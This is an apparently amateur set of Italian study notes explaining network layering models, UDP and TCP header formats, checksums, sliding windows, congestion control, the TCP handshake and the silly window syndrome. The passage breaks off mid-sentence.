Quando la macchina 1 comunica con la macchina 2 attraveso la rete i dati
attraversano tutti gli strati del software sia in partenza che in arrivo .
Ovviamente non tutti i sw sono organizzati secondo le indicazioni del tcp ma
sarebbe opportuno che contenessero al loro interno una stratificazione che
rispetta tale standard, indipendentemente da tutto quello che c'e' intorno.
(In realta' la rete puo' essere in connessione con strati che non siano il
primo, la schematizzazione in figura e' abbastanza teorica).

Esistono due standard utilizzati, il primo e' l' ISO model ovvero il modello
deciso dalla organizzazione internazionale per la standardizzazione ed e'
composto da 7 protocolli ognuno per uno strato (qiondi 7 strati), una versione
molto utilizzata in europa del modello ISO e' l'X.25 utilizzato da quasi tutte
le compagnie telefoniche , e' un modello concettuale e non uno specifico
protocollo, viene utilizzato per molti protocolli diversi in ambiti diversi.
NB Normalmente una macchina non e' collegata direttamente al router, ma ad un
packet switch (PS) che poi la collega aldifuori della sua rete, il protocollo
spiega anche come questa connessione deve avvenire.

1) Physical layer (strato fisico, concreto): Contiene la descrizione delle
comunicazioni fisiche tra macchina (con la sua interfaccia di rete o modem) e
il PS a cui e' collegata. Tensioni, voltaggi, procedure....

2) Data link layer (strato di "connessione" dei dati): specifica il formato
in cui i dati vengono mandati dalla macchina al PS, i frame utilizzati
(diversi da quelli tcp) e aggiunge controlli sull'effettivo arrivo del dato al
PS.

3) Network layer: specifica i protocolli interni della rete a cui l'host si
collega, questi sono indipendenti dal protocollo con cui la macchina si
collega al PS.

4) Transport layer : si occupa di controllare l'affidabilita' del trasporto
end to end ovvero da un estremo all'altro.

5) Session layer :spiega come organizzare il sw per supportare tutte le
applicazioni.

6) Presentation layer : comprende particolari funzioni necessarie per usare una

rete, tipi di compressione o modi di apertura di particolari file...

7) Application layer : spiega come devono essere costruite le applicazioni per
utlizzare la rete, posta elettronica, ftp ecc...

Il secondo standard e' il Tcp/ip layering model e definisce 4 strati:

1) Network interface layer : Interfaccia con il network, spiega come tale
interfaccia deve essere in grado di gestire l'ingresso e l'uscita dei
pacchetti ip. Questa puo' essere gestita in modo indipendente a seconda della
LAN su cui si usa ma deve conformarsi con il protocollo (con il formato dei
dati in ingresso/uscita e tutto il resto).

2) Internet Layer: Gestisce l'incapsulamento dei dati in ip datagram, riempie
gli header, fa il routing per i pacchetti in uscita, controlla i pacchetti in
ingresso e determina se vanno riinviati o elaborati su quella macchina,
gestisce i messaggi ICMP.

3) Transport Layer: Gestisce la comunicazione tra applicazioni diverse connesse

in rete, controlla l'arrivo dei pacchetti e gli errori durante il trasporto
attraverso la comunicazione end-to-end (direttamente con l'altra macchina) e i
checksum negli headers.

4) Application Layer: Applicazioni che interagiscono con la rete fornendo
servizi
diversi (browser, irc...)


Le differenze fondamentali tra i due protocolli sono nel fatto che l' X.25
aggiunge
controlli su piu' passaggi e quindi su layer diversi (anche se non menzionati
nello schema ogni layer agigunge un controllo al checksum e al timeout e se
necessario riinvia il datagram), mentre il tcp affida il controllo solo al
livello end-to end. In altre parole con X.25 ogni router controlla il
pacchetto, se e' corrotto manda un messaggio di errore, nel tcp ogni router
passa i pacchetti, il controllo viene fatto a destinazione. Questo rende le
reti X.25 piu' affidabili ma piu' complesse, utilizzate soprattutto per
servizi in cui l'utente non "collabora" ma paga e richiede che il servizio gli
sia formito con affidabilita' (vedi reti telefoniche) mentre nel tcp ogni host
verifica il funzionamento della connessione e agisce di consequenza.

Il concetto basilare del layering: "Lo strato n nella macchina di destinazione
deve ricevere esattamente lo stesso pacchetto che era nello strato n della
macchina mittente". In questo modo si ha la sicurezza che programmando
un'applicazione ogni strato sia indipendente dall'altro e che ogni strato
possa essere programmato sapendo che certe condizioni si verificheranno sia
alla partenza che all'arrivo (un po' come la programmazione ad oggetti, si sa
quel che entra, quello che esce e non interessa quello che succede nel mezzo).
Ovviamente questo si verifica solo in parte, per esempio il campo time to
live cambia dall'invio alla ricezione, ma il concetto si puo' comunque
applicare tenendo presenti le eccezioni.


**************PARTE II PROTOCOLLI DI TRASMISSIONE*********************


USER DATAGRAM PROTOCOL (UDP)

Qual'e' la destinazione finale di un datagram all'interno di un' host? la
risposta che sembra piu' ovvia e' un processo; in particolare quel processo
che ha bisogno dei dati in arrivo dalla rete. Identificare la destinazione
finale con un processo ha tre svantaggi: a) Non sempre la macchina mittente
conosce esattamente come funzionano i processi sulla macchina destinataria
(possono anche avere SO diversi). b)Vorremmo poter interrompere o cambiare
processi sulla macchina di arrivo senza avvertire la macchina mittente c)Un
processo puo' implementare piu' funzioni e viceversa, che si fa in quel caso?

La soluzione a tale problema consiste nell'ignorare i processi stessi e
utilizzare delle entita' astratte chiamate Protocol Ports (porte). Ad ogni
porta e' associato un intero e l'OS gestisce tali porte, ovvero sa lui come
associare una porta ad un processo e viceversa. L'UDP fornisce un
ureliable-connection-delivery-service tra applicazioni di macchine diverse.
Utilizza la struttura di base dell'ip e non aggiunge nessuna verifica
sull'avvenuto arrivo dei dati (unreliable). Aggiunge la capacita' di
specificare direttamente con quale applicazione comunicare.

UDP FORMAT
L'UDP aggiunge degli header al dategram della forma:

0___________8___________16____________________31
| Porta di partenza | Porta di arrivo |
|_______________________________________________|
| Lunghezza del messaggio udp | UDP checksum |
|_______________________________________________|
| dati |
|_______________________________________________|


Il campo lunghezza.... contiene la lunghezza del messaggio in ottetti,
il checksum e' un valore di controllo su tutto il datagram (NB il checksum
del protocollo ip e' riferito unicamente agli header del datagram quindi
questo valore e' l'unico controllo sui dati utilizzabile). Questo viene
calcolato tenedo presente alcune particolarita': esistono due campi che NON
fanno parte del datagram ma di cui si tiene conto nel CALCOLARE il checksum,
tali campi sono un padding alla fine, per fare in modo che il conto degli
ottetti sia un numero intero e uno pseudo header della forma:


0___________8___________16____________________31
| IP mittente |
|_______________________________________________|
| IP destinazione |
|_______________________________________________|
| Zero | Protocollo|lunghezza del datagram|
|_______________________________________________|

dove il campo protocollo e' un intero che identifica l'UDP (17), il campo
zero sono, appunto, zeri, la lunghezza del datagram non contiene lo
pseudo-header. A cosa serve tale pseudo header? abbiamo detto che ne' questo
header ne' il padding fanno parte del datagram quindi NON vengono inviati con
il datagram ne' vengono contati nella lunghezza, servono affinche' il checksum
controlli anche l'ip di dest. e mittente. Quando il datagram viene creato si
aggiungono questi due campi, si calcola il checksum e si tolgono, quando il
datagram arriva a destinazione la macchina prende dagli header del formato ip
i numeri ip mitt. e dest., ricrea uno pseudo header, lo aggiunge al pacchetto
che gli e' arrivato, ricalcola il checksum con lo stesso algoritmo
(complemento a uno in sedici bit della lunghezza di tutto il
pacchetto) e vede se ci sono stati errori nella ricezione del datagram,
dopodiche' toglie ancora lo pseudo header e esamina il pacchetto. In questo
modo viene fatto un controllo anche sui campi descritti nello pseudo header.

LAYERING E ENCAPSULATION
L'UDP e' implementato nel transport layer, quando un datagram viene inviato
segue il seguente schema:


LAYER OPERAZIONE
Application Prepara i dati
Transport Aggiunge l'UDP header
Internet Aggiunge l'IP header
Network Incapsula tutto in un frame.

il contrario succede quando un datagram arriva a destinazione:


LAYER OPERAZIONE
Application Analizza i dati
Transport Toglie e analizza l'UDP header
Internet Toglie e analizza l'IP header
Network Toglie il frame.

L'UDP in realta' viola il concetto che sta alla base del layering, sappiamo
infatti che quando un datagram viene mandato, a livello transport bisogna
aggiungere un campo checksum nell'header UDP, per calcolare il checksum
bisogna ricreare lo pseudo header ma lo pseudo header contiene l'ip e l'ip
verra' aggiunto solo nello strato successivo! Bisogna che esista una
comunicazione tra lo strato Transport e lo strato Internet, e questo lede il
l'idea di indipendenza che sta alla base del layering. In effetti l'UDP non
rispetta tale idea ma e' stato creato in questo modo e inserito "forzatamente"
nel protocollo per motivi di praticita'.

MULTIPLEXING, DEMULTIPLEXING E PORTE
Il concetto di multiplexing appare evidente nell'UDP, tutte le volte che un
datagram arriva questo viene mandato all'applicazione che lo richiede (nel
layer application) discriminando sul numero della porta che a cui e' destinato
e viceversa per datagram in partenza. Spetta al sistema operativo concedere
l'apertura di una porta ad una certa applicazione o meno, se un pacchetto
viene inviato ad una porta che non e' aperta vienr risposto al mittente con un
messaggio ICMP di tipo "port unreacheble"; alcune porte sono associate a
servizi standard (ftp, nntp, echo...) la maggior parte non e' associata a
nessun servizio in particolare e viene gestita dal SO ad applicazioni che lo
richiedono, se non si conosce la porta relativa a un certo servizio si puo'
fare una richiesta all'host nella quale si domanda quale porta e' associata ad
un certo servizio.


TRANSMISSION CONTROL PROTOCOL (TCP)

Il tcp e' il primo Reiable Stream Transport Service ovvero un servizio che
garantisca la comunicazione senza errori (Reliable). E' ovvia la necessita'di
un tale mezzo per la comunicazione dei dati e' meno ovvio come possa essere
ottenuto basandosi su un sistema come l'ip che a sua volta e' nato
"unreliable". Si potrebbe spostare il controllo sulla correttezza dei dati
dal livello internet al livello applicazione, ovvero si potrebbe pensare di
implementare un controllo su ogni applicazione che si utlizza ma questo
creerebbe troppe diversita', si utilizza quindi un protocollo comune che offra
tale servizio. Cosa specifica il tcp? specifica il formato dei dati, il modo
in cui le due macchine verificano la stabilita' della connessione (ack
system), il modo per distinguere destinazioni multiple su una macchina, come
recuperare errori, come iniziare e concludere una connessione.... Il tcp e'
un protocollo separato rispetto all'ip ma funziona se utilizzato sull'ip,
nonostante questo il tcp puo' essere utilizzato anche per altre
applicazioni.
Le proprieta' di un Reliable delivery service sonoessenzialmente:

1- Stream Orientation (ovvero orientazione del flusso), il protocollo che sta
tra due host riceve da una sorgente un flusso di dati e lo riconsegna uguale
alla destinazione.

2- Virtual Circuit Connection: prima di iniziare il trasferimento le due
macchine creano una "connessione virtuale" ovvero comunicano decidendo in
quale modo si scambieranno dati successivamente, anche durante lo scambio i
sw che gestiscono il protocollo su entrambe le macchine si mantengono in
contatto verificando che la connessione sia ancora effettivamente
funzionante, se questa si interrrompe, entrambe le macchine se ne accorgono.

3- Buffered transfer: I dati vengono trasferiti come ottetti (bytes) in
datagram che ne contengono un certo numero massimo, prima di mandare un
datagram il protocollo puo' aspettare che l'applicazione gli abbia fornito
dati a sufficienza per riempire un intero datagram per non sprecare spazio.
Allo stesso modo il protocollo contiene una funzione push che forza l'invio
di un pacchetto anche se questo non e'completamente pieno nel caso che
l'applicazione abbia terminato i dati da mandare.

4- Unstructured stream: I dati inviati non mantengono le stesse strutture
che avevano all'inizio, una lista non viene inviata come una lista ma come un
flusso di bytes, le applicazioni che utilizzano i dati ne devono tenere
conto.

5- Full duplex Connection: Il flusso di dati avviene contemporaneamente in
entrambe le direzioni, in questo modo la macchina ricevente puo' inviare
messaggi di controllo alla macchina mittente.


POSITIVE ACKNOWLEDGEMENT

Come si puo' ottenere affidabilita' se ci si basa sull'ip che e'
dichiaratemente inaffidabile? si utilizza la tecnica dell'positive
acknowledgment with retrasmission (letteralmente intraducibile piu' o meno
vuol dire riconoscimento di successo con ritrasmissione...). I problemi che
possono avvenire nella trasmissione sono essenzialmente tre, pacchetto
perso, pacchetto rovinato, pacchetto duplicato. Per risolvere i primi due
casi la macchina mittente (A) ogni volta che manda un pacchetto aspetta che
la macchina ricevente (B)risponda con un messaggio di akcnowledgement (ack)
ovvero un messaggio in cui si dica "il pacchetto e' arrivato ed e' intero",
in piu' ogni volta che A manda un datagram fa partire un contatore, se l'ack
non arriva prima della fine del tempo a disposizione lo rimanda. Per il terzo
tipo di errore si fa in modo che ogni pacchetto sia numerato e tale numero
appaia anche nell'ack, in questo modo B puo' controllare che non ci siano
doppioni. Se non e' chiaro come si possano duplicare pacchetti basta pensare
che un pacchetto venga mandato ma l'ack per qualche ragione non raggiunga A,
in tal caso il timer espira e il pacchetto viene ritrasmesso con il risultato
che vengono mandati due pacchetti uguali. Ovviamente pensare di ricevere
sempre una risposta prima di inviare il pacchetto successivo implica lunghi
tempi di inattivita' di A, per ovviare a questo si utilizza la tecnica della
Sliding Windows (finestre scorrevoli). Immaginiamo il flusso di bites diviso
in datagrams, A invece di mandare un datagram per volta ne manda un numero n
(poniamo 5) tutti insieme, solo dopo aver mandato tutti e 5 i pacchetti
controlla se e' arrivato l'ack del primo, se e' arrivato scala di un
pacchetto e manda il 6, poniamo il caso che l'ack del pacchetto 2 non sia
arrivato nel frattempo, A rimanda il pacchetto 2 e aspetta. Quando questo
arriva scala e manda il 7...Ogni volta che la finestra scorre vengono inviati
l'elemento piu' a dx della finestra e tutti gli elementi che non hanno
ricevuto un ack.

es:

1- vengono mandati i primi 5 [1,2,3,4,5],6,7,8,9....
^ ^
| |
finestra


2- dopo l'invio del 5 e' gia arrivato l'ack relativo al primo e la
finestra scala a destra.

1,[2,3,4,5,6],7,8,9....

3- l'ack relativo al 2 non e' arrivato, la finestra non scala e
viene riinviato il 2.


4- arriva l'ack del 2 la finestra scala a dx

1,2[3,4,5,6,7],8,9....

il vantaggio sta nel fatto che la finestra puo' scalare se l'ack mancante non
coinvolge il pacchetto con il numero piu' basso:



5- l'ack relativo al 6 anche dopo l'invio del 7 non e' arrivato,
mentre sono arrivati tutti quelli prima, si scala comunque a destra e SI
RINVIA il pacchetto 6

1,2,3,4,5,[6,7,8,9,10]....

in questo ultimo passaggio la finestra ha scalato dal 3 al 6 quindi dei 5
datagram mandati 3 sono nuovi.


La macchina lavora continuamente senza lunghe pause perche' il tempo
necessario per aspettare un ack viene utilizzato inviando i pacchetti
seguenti. In realta' l'utilizzo delle sliding windows avviene a livello byte,
ovvero la sequenza 1,2,3,4,5.... indica i byte che sono stati inviati o sono
da inviare, ovviamente non viene mandato un ack per ogni byte ma ogni byte
appartiene ad un pacchetto che e' gia stato "acknoweledged" o meno e viene
riinviato in un altro segmento o meno.

Le sliding windows permettono anche un altra caratteristica fondamentale per
un protocollo "reliable", il flow control (controllo del flusso). La varieta'
di macchine, reti, linee che esiste sulla rete impone che tra due macchine ci
sia un accordo sulla velocita con cui scambiare dati, per se la macchina A
manda dati troppo velocemente la macchina B puo' congestionarsi. Questo viene
fatto variando le dimensioni delle sliding windows, piu' la finestra e' larga
piu' velocemente vengono trasmessi i dati, negli ack c'e' un campo che
specifica la larghezza preferita da B in ogni momento. Anche la macchina B
mantiene uno schema di sliding windows simile a quello dell'esempio per
seguire il flusso dei dati, siccome la connessione e' full-duplex ogni
macchina tiene due schemi per connessione.


CONNESIONI E PORTE

Il tcp nella struttura a strati si pone allo stesso livello (transport) dell'
udp, utilizza pero' un multiplexing leggermente diverso. Mentre l'udp
suddivide i dati tra le porte, ovvero definisce come destinazione finale e
come punto di partenza una porta, il tcp si basa sul concetto di connessione.
*Invece di utilizzare l'astrazione delle porte utilizza l'astrazione delle
connessioni*. Una connessione e' definita dai suoi due capi, ogni capo e' una
coppia (host,porta). La differenza sembra insignificante ma basare due
strutture su tali concetti li rende molto diversi, anzitutto chiariamo come
queste siano astrazioni, ovvero meccanismi teorici su cui si basano i
protocolli, "ideologie" potremmo dire che poi vanno rispettate
nell'implementazione del protocollo. Per esempio, nell' udp l'elemento finale
e' una porta, ammettiamo che due macchine B e C comunichino con la stessa
porta della macchina A, quello che succederebbe sarebbe la confusione tra i
dati proprio perche' l'unica discriminante sono le porte e quindi mandare dati
sulla stessa porta vuol dire mandare dati alla stessa applicazione. Nel tcp
non succederebbe perche' ogni pacchetto e' legato ad una connessione, viene
identificato con essa e ogni connessione e' una coppia del tipo
(host B,porta X)--->(host A, porta y) che e' diversa da una connessione del
tipo (host C,porta Z)--->(host A, porta y). La comunicazione e' basata sulle
connessioni e le connessioni sono basate su 2 capi, questa differenza nelle
intenzioni di base (nell'"ideologia" che sta alla base della costruzione del
protocollo) fa in modo che con il tcp si possa comunicare con due macchine
sulla stessa porta di A. In particolare questa caratteristica
e' implementata numerando i messaggi e quindi rendendo i messaggi di una
connessione diversi da quelli dell'altra.


TCP HEADER FORMAT


0______4______10______16___________24__________31
| Porta di partenza | Porta di arrivo |
|______________________________________________|
| sequence number |
|______________________________________________|
| acknoweledgment number |
|______________________________________________|
| Hlen |Riservato| Code | window |
|______________________________________________|
| checksum | urgent pointer |
|______________________________________________|
| opzioni | padding |
|______________________________________________|

Campi:

Porta di partenza, Porta di arrivo: ovvie

Seq number: Sono i codici che identificano la posizione di un certo ottetto
nel flusso di dati. E' importante capire che i dati vengono mandati come un
flusso di ottetti diviso in segmenti, ogni segmento viene identificato con un
seq number che specifica la posizione del gruppo di byte mandati nel flusso.
Il seq number quindi identifica i segmenti attraverso gli ottetti. Per esempio
un segmento che ve dal byte 100 al byte 200 nel flusso ha seq number 100.

Acknowledgment number: e' il seq del pacchetto che la macchina mittente si
aspetta di ricevere come prossimo. Questo e' il campo attraverso il quale
viene garantita la reliability del tcp. La macchina ricevente (A) ricostruisce
attraverso i seq nummber il flusso di dati cosi' come questo esce dalla
macchina mittente (B), quando ha ricevuto un segmento A controlla nel suo
flusso ricostruito quale e' la posizione piu' alta che contraddistingue una
sequenza di ottetti arrivati correttamente e manda come ack il seq del byte
successivo ovvero il seq del segmento che A si aspetta di ricevere come
prossimo. Quindi ogni volta che B riceve un ack sa che tutti i segmenti
precedenti a tale ack sono arrivati correttamente. Lo svantaggio di tale
tecnica sta nel fatto che se B manda uno dopo l'altro 5 segmenti di cui il
primo arriva corrotto A mandera' come ack il seq del primo e quindi B non puo'
stabilire se i 4 successivi sono arrivati a destinazione o no ( A segnala solo
il fatto che il flusso e' stato interrotto e non se l'interruzione e' solo di
un segmento o di piu' di uno). A questo punto B puo' decidere tra due
comportamenti entrambi potenzialmente inefficienti, rinviare solo il primo
segmento e aspettare l'ack relativo a questo o rinviare tutti e 5 i segmenti.
Nel primo caso si evita di rinviare 4 segmenti che in effetti sono gia' a
destinazione e sono arrivati correttamente, ma si rallenta la connessione (in
effetti aspettando l'ack si annulla il vantaggio di avere le sliding window)
nel secondo caso non si rallenta la connessione ma si inviano due volte gli
stessi dati.

Hlen : lunghezza dell'header del segmento in ottetti

Reserved: riservato per usi futuri

Code bits: sei bit che specificano il contenuto del segmento, nell'ordine,

bit significato
urg Il campo urgent pointer e' valido (vedi dopo)
ack il campo ack. e' valido (vedi dopo)
psh Questo segmento vuole un "push" (vedi Push)
rst Resettare la connessione (vedi dopo)
syn Sincronizza i seq number (vedi dopo)
fin Il mittente ha finito i dati da inviare

Window: specifica la grandezza delle sliding window (vedi anche Push e silly
window sindrome)

Urgent pointer: serve per madare "interruzioni" al computer ricevente, se il
mittente mandasse un messaggio normale questo verrebbe letto solo dopo aver
letto i precedenti messaggi gia' arrivati ma non ancora processati, se il
campo urg e' 1 il contenuto del segmento viene considerato urgente e letto
appena arriva fino al punto all'interno del datagram segnato dal campo urgent
pointer, i dati successivi vengono considerati normali e letti secondo le
sequenze normali.

Opzioni: (facoltativo) specifica una dimensione massima per i segmenti in
arrivo
e in uscita, tale valore e' stimato sulla velocita' delle macchine, sul tipo
di reti di cui fanno parte ecc.. Ovviamente un datagram molto grande offre
problemi per via della frammentazione (un solo frammento perso e si perde
tutto il datagram) mentre un datagram piccolo spreca banda (gli header ip e
tcp da soli fanno circa 40 byte, se per mandare un byte ogni volta se ne
aggiungono 40 di header si sprecano risorse).

Checksum: avviene esattamente come il checksum dell'udp, viene aggiunto lo
pseudo header

0___________8___________16____________________31
| IP mittente |
|______________________________________________|
| IP destinazione |
|______________________________________________|
|Zero |Protocollo (6) |lunghezza del datagram |
|______________________________________________|

e calcolato sia in partenza che in destinazione come il checksum dell'udp.

Padding: serve a fare in modo che la lunghezza totale del datagram sia un
multiplo di un byte.


TIMEOUT E RETRASMISSION

Ogni volta che un pacchetto viene mandato il mittente (B) fa partire un timer e

se non riceve l'ack relativo a tale pacchetto prima della fine del timer
considera il pacchetto perso e lo rinvia. La scelta della lunghezza del timer
dipende dal tipo di rete, dalla velocita' della connessione ecc.. non esiste
un tempo standard, di solito B quando inizia una connessione calcola una media
sui primi segmenti inviati (RTT round trip time, ovvero una media del tempo
che passa tra l'invio di un segmento e la ricezione del suo ack) e fissa il
timer su quel valore, successivamente continua ad aggiornare tale media e
cambia il timer di conseguenza. Il calcolo della media viene fatto attraverso
un parametro k che indica quanto influiscono gli ultimi dati rispetto ai
precedenti, vale:

RTT=(k*media_vecchia)+((1-k)*media_recente)

piu' piccolo e' k e piu' i nuovi dati hanno peso nel calcolo della media quindi

RTT cambia velocemente.
Il calcolo dell'RTT e' comunque piu' complesso di quanto sembra; per es.
ammettiamo
che la rete si congestioni di colpo, il segmento 1 viene inviato ma il timer
espira prima che l'ack arrivi a B, allora B rimanda il segmento (1a) ma subito
dopo arriva l'ack di 1, siccome i segmenti 1 e 1a sono identici B puo'
considerare l'ack arrivato relativo ad 1a e calcolare il nuovo RTT su un tempo
molto minore di quello reale. Uno dei modi piu' usati per calcolare l'RTT e'
l'algoritmo di Karn. Consiste nel non calcolare l'RTT per segmenti ritrasmessi
e ogni volta che un timer espira, moltiplicarlo per un fattore y fino ad un
certo limite. La media poi viene rifatta sui pacchetti mandati e ritornati
con successo quando quindi la situazione si e' stabilizzata.


GESTIONE DELLE CONGESTIONI

Alcune volte le reti locali o i router vengono sovraccaricate e non riescono
piu' a gestire lo smistamento dei pacchetti, i router congestonati iniziano
a immagazzinare i datagram in code dalle quali poi estraggono i pacchetti e
li rinviano quando la congestione diminuisce. Esiste un tipo di icmp che i
router usano per segnalare congestioni ma anche il protocollo tcp puo' aiutare
a ridurle. Si tratta di calcolare la larghezza delle sliding windows in
funzione della velocita' della connessione, giudicando dal numero di pacchetti
che si e' costretti a rinviare. Una volta stimata la larghezza massima
utilizzabile sulla rete (congestion window, cw) si utilizza come finestra la
piu' piccola tra la cw e la larghezza indicata dalla macchina mittente nel
campo window. Come viene calcolata la c.w.? Si utilizzano due tecniche
chiamate slow-start (ss) e multiplicative decrease (md), ("inizio lento" e
"diminuzione moltiplicativa (?)" ). Quando la connessione e' attiva ogni volta
che un datagram viene perso il tcp assume che tale perdita sia dovuta a
congestione e riduce la larghezza della finestra di meta' (fino ad un minimo
di 1) in questo modo si diminuisce velocemente il carico sulla rete
congestionata; in piu' viene aumentato il timer esponenzialmente. Una volta
ristabilita la normale situazione la finestra viene allargata agiungendo un
elemento per ogni ack che si riceve (slow-start). Questa tecnica che viene
usata anche ad inizio connessione pero' ha dei limiti perche' se la
connessione ritorna veloce molto rapidamente inizia ad oscillare e perde di
efficienza (se la finestra ha dimensione 1 arriva un ack e si allarga a 2,
arrivano 2 ack e si allarga a 4, arrivano 4 ack e si allarga a 8... andamento
esponenziale uguale a quello della md, in effetti slow-start non e' poi cosi'
slow). Per evitare questo quando la finestra crescendo ha raggiunto la meta'
della sua grandezza prima della congestione la larghezza viene aumentata di
una sola unita' per ogni finestra di segmenti di cui si e' ricevuto l'ack
(congestion avoidance, ca).

es 1-congestione, la dimensione diminuisce da 16 a 1
2-si riceve 1 ack -> dimensione=2
3-si ricevono 2 ack -> dimensione=4
4-si ricevono 4 ack -> dimensione=8
5-si ricevono 8 ack -> dimensione=9 (inizia il ca)
6-si ricevono 9 ack -> dimensione=10....


STABILIRE E TERMINARE UNA CONNESSIONE

Avviene attraverso un three-way handshake ovvero una stretta di mano in tre
direzioni. Lo schema e' questo

eventi macchina A macchina B

1 segmento con syn |------>|
byte su 1 e seq | |
uguale a X | |
2 |<------| riceve il segmento e
| | risponde con un segmento
| | con syn=1 seq=Y
| | ack=X+1
3 riceve syn+ack |------>|
invia ack=Y+1 | |
4 | | riceve ack

avvengono quindi tre scambi (three-way) al termine dei quali le due macchine
hanno stabilito una connessione in entrambe le direzioni.
Al momento 1 A manda un segmento con il syn=1 indicando una richiesta di inizio

connessione e dando un seq generato a caso in modo che sia improbabile
generare due connessioni con la stessa macchina che inizino con lo stesso seq.
(in realta' la generazione dei seq deve essere piu' aleatoria possibile, le
macchine unix hanno un algoritmo che rende quasi impossibile sapere quale quale
sara' il seq generato per una connessione conoscendo il seq generato per la
connessione precedente, i vecchi win invece generavano seq per connessioni
diverse quasi casualmente il che li rendeva vulnerabili ad attacchi di
spoofing (se vi interessa fate una ricerca con spoofing)). Al momento 2 B
risponde con un datagram che contiene un syn=1 quindi vuole stabilire la
connessione, un seq=Y per i dati che mandera' (generandolo casualmente) e un
ack=X+1 indicando quale segmento si aspetta di reicevere come prossimo.
Infine al momento 3 A riceve il segmento di B e manda un ack confermando che
la connessione sia avvenuta. La connessione e' stabilita e le macchine possono
iniziare a scambiarsi dati in etrambe le direzioni. Si possono gia utilizzare
i segmento per lo handshake inviando dati attraverso di essi, dati che la
macchina ricevente B terra' in memeoria fino a connessione avvenuta. Chiudere
una connessione comporta una versione leggermente modificata dello handshake
perche' le connessione e' full-duplex quindi va chiusa in entrambe le
direzioni. Lo schema e':


eventi macchina A macchina B
1 segmento con |------->|
fin=1, seq=X | |
2 |<-------| riceve il segmento e
| | risponde con un segmento
| | con ack=X+1
3 riceve ack |------->|
4 |<-------| segmento con fin=1
| | seq=Y
5 riceve fin+ack, |------->|
manda ack=Y+1 | |
| | riceve ack


In questo caso A ha finito i dati da inviare e manda a B un segmento indicando
appunto fin=1, B risponde che ha ricevuto il segmento di A mandando un ack
dopodiche'continua a inviare i dati ad A fino a quando ne ha bisogno
(normalmente richiude subito), successivamente al momento 4 B ripete la stessa
procedura che aveva fatto A per chiudere la connessione nella sua direzione.
Tra il momento 3 e il momento 4 B non accetta piu' dati da A tranne che gli
ack dei segmenti che B manda. Esiste un altro modo di interrompere una
connessione e consiste nel mandare un segmento con rst=1. Se B riceve un tale
segmento interrompe immediatamente la connessione quindi smette di inviare
dati e libera la memoria che gestiva tale connessione. Quando una connessione
viene interrotta in un modo o in un altro l'applicazione che gestisce il tcp
su una macchina rimane in attesa per un periodo di tempo pari al doppio del
tempo massimo di vita di un datagram sulla rete, in questo modo si e' sicuri
che dall'altro capo della connessione non verranno in futuro altri dati che
potrebbero generare confusione.

PUSH E SILLY WINDOW SYNDROME(NB la questione e' molto incasinata e
riassumerla non e' perniente facile, spero di essere stato il piu' chiaro
possibile ;)

Bisogna anzitutto capire bene come funziona il campo window nel tcp-header.
La larghezza della finestra disponibile altro non e' che la dimensione in
ottetti della parte disponibile del buffer nel quale vengono immagazzinati i
dati in arrivo. Quando la connessione e' stabilita la macchina ricevente B
specifica una window larga esattamente come il buffer, piu' avanti quando il
buffer si riempie l'applicazione specifica in ogni momento quanto spazio ha
ancora a disposizione nel buffer.

Se tutto va bene la velocita' con cui B riceve i dati e li passa
all'applicazione e' la stessa con cui A li invia e quindi la finestra ha
sempre le stesse dimensioni. In ogni istante il buffer sara' parzialmente
pieno e l'applicazione su B prendera' i dati sequenzialmente (il buffer
altro non e' che una coda). La stessa cosa succede sulla macchina A, i dati
forniti dall'applicazione vengono inseriti in un buffer e mandati via via in
segmenti. L'applicazione in A puo' immettere i dati nel buffer con una
velocita' dettata dalle sue esigenze, puo' immetterli in gruppi di 1 byte
alla volta come in gruppi di 1 kbyte alla volta (immaginiamo un terminale
remoto che si connette as un server centrale, ogni volta che sul terminale
viene digitato qualcosa il server lo riceve -> i dati vengono inviati
dall'applicazione in gruppi di 1 byte per volta, se invece si sta copiando un
file i dati possono essere mandati anche in kbyte o mbyte per volta) e spetta
al protocollo decidere quando questi dati sono in numero sufficiente per
essere messi in un datagram e inviati senza spreco di banda (datagram
semivuoti).

Stabilire quanto grandi devono essere tali segmenti e quindi quanto bisogna
aspettare prima che vengano inviati dati nel buffer non e' affatto semplice.
Nell' esempio precedente del terminale collegato al server ogni volta che un
tasto viene premuto si vuole una risposta e quindi ogni volta che un tasto
viene premuto l'applicazione non passera' altri dati fino ad avere una
risposta, in questi casi si utilizza un PUSH. Un push e' un comando che
l'applicazione (nell' application layer) utilizza per comunicare con
l'applicazione che gestisce il tcp nella stessa macchina (transport layer);
significa che vuole che i dati appena passati siano inviati senza attendere
di riempire il segmento oltre. In piu' il campo PUSH dell'header viene
settato 1 e in questo modo l'applicazione che gestisce il tcp sulla macchina
B (transport layer,ricevente) invia all'applicazione di destinazione
(application layer, sempre su B) il segmento senza rispettare l'ordine
temporale degli arrivi; ovvero anche se occupa l'ultimo posto sul buffer
della macchina B (transport layer) tale segmento viene subitomandato
all'applicazione finale (application layer). Quindi ogni volta che si digita
qualcosa sul terminale di destinazione si fa un push. Non sempre pero' un
push e' richiesto e in questi casi il problema dell'attesa si ripete. In
particolare possono esserci tre casi in cui il problema diventa molto
significativo perche' definisce l'efficenza del protocollo.

Caso 1; l'applicazione su A (application layer) invia dati molto lentamente,
1 byte alla volta, invece l'applicazione che gestisce il tcp(transport layer)
e' molto aggressiva e invia i dati senza aspettare quindi un ottetto per
segmento.

Caso 2; l'applicazione su A manda dati in pacchetti grandi 200byte
e il buffer di A sia 420 byte, verranno mandati due pacchetti da 200 e uno da
20 quindi uno ogni tre segmenti sara' semivuoto.

Caso 3; la macchina A e' piu' veloce di B quindi il buffer di B si riempie
subito, appena l'applicazione su B legge un po' di dati a quindi svuota in
parte il buffer, B manda unadimensione di finestra grande quanto la parte di
buffer vuota (che potrebbe anche essere un solo ottetto) e quindi A inizia a
mandare dati con una finestra di dimensione 1 ottetto.

I tutti e tre i casi si ha l'invio di segmenti di dimensioni molto piccole,
si chiama silly windows syndrome (all'incirca sindrome delle finestre
stupide). Per risolvere tali situazioni bisogna regolare il tempo di attesa
per il riempimento dei datagram e regolare il dimensionamento delle finestre.
Nel caso 1 e 2 i problemi derivano dalla sorgente e li' vanno intercettati.
Lo standard impone che quando si formano i segmenti da mandare e altri
segmenti sono stati mandati ma non ancora riconfermati da un ack
l'applicazione che gestisce il tcp debba aspettare a mandare un segmento fino
a quando questo non e' di dimensioni massime o fino a duando non arriva il
primo ack. Tutto questo e' valido anche se tale e' stato eseguito un push.
Questo algoritmo (algoritmo di Nagle) assicura un alto utilizzo della banda
nelle condizioni di traffico convenzionali. Il problema 3 dipende da B. Lo
scopo che ci si pone e' quello di fare in modo che quando il buffer s

  
i
